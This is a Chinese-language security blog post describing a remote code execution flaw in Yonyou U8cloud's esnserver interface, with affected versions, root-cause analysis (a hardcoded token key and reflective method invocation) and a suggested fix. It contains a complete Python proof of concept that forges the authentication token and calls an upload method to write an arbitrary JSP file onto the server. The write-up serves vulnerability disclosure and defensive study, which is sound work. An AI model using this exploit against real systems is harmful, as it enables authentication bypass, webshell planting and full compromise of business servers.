用友U8cloud-esnserver接口RCE
1diot9 Lv4

影响版本

1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp,5.1

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import io
import zipfile
import base64
import requests


def create_data(file_path: str) -> bytes:
# 读取文件内容
with open(file_path, "rb") as f:
file_bytes = f.read()

# 创建内存字节流
baos = io.BytesIO()

# 写入 zip 文件
with zipfile.ZipFile(baos, 'w', zipfile.ZIP_DEFLATED) as zos:
# 注意,这里 entry 名称固定为 "compressed"
zos.writestr("compressed", file_bytes)

# 返回字节数组
return baos.getvalue()


if __name__ == "__main__":
url = "http://127.0.0.1:8051/service/esnserver"

heads = {"Token": "469ce01522f64366750d1995ca119841"}

data = create_data("test.jsp")
encode_data = base64.b64encode(data).decode("utf8")

jsonstr = {"invocationInfo": {"ucode": "123", "dataSource": "U8cloud", "lang": "en"}, "method": "uploadFile",
"className": "nc.itf.hr.tools.IFileTrans",
"param": {"p1": encode_data, "p2": "D:/1.jsp"},
"paramType": ["p1:[B", "p2:java.lang.String"]}

resp = requests.post(url=url, json=jsonstr, headers=heads)
print(resp.text)

漏洞原理

token加密密钥硬编码,加密流程固定,可绕过鉴权;EsnServlet的调用链中,存在任意方法调用。其实不是任意方法,而是能被nc.bs.framework.common.NCLocator找到的类。

漏洞分析

访问/service/esnserver后,会进入EsnServlet,最终都会进入doAction。不知道为什么要访问这个路由的,看我之前写的环境搭建那篇文章。

img

先会做一个json字符串的解析,然后把传入的内容存储到jsonObject中。

然后会根据传入的invocationInfo进行一系列赋值,这里面最重要的是ucode,其他无所谓。

接着进入token鉴权。tokenSeed就是上面传入的ucode,拼接后形成硬编码的密钥,然后调用com.nc.mobile.bo.DigestUtil#signatureByMD5计算token。所以我们完全可以伪造token来绕过鉴权。

之后跟进service.processBusi:

img

这里就是一个很典型的method.invoke任意方法调用。

这里可以调用nc.impl.hr.tools.trans.FileTransImpl#uploadFile,实现任意写文件。不过要注意,文件的生成是有要求的:

img

要和这里的解压过程相对应。

漏洞修复

限制反射调用的包名前缀:

img

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 52.9k 访客数 访问量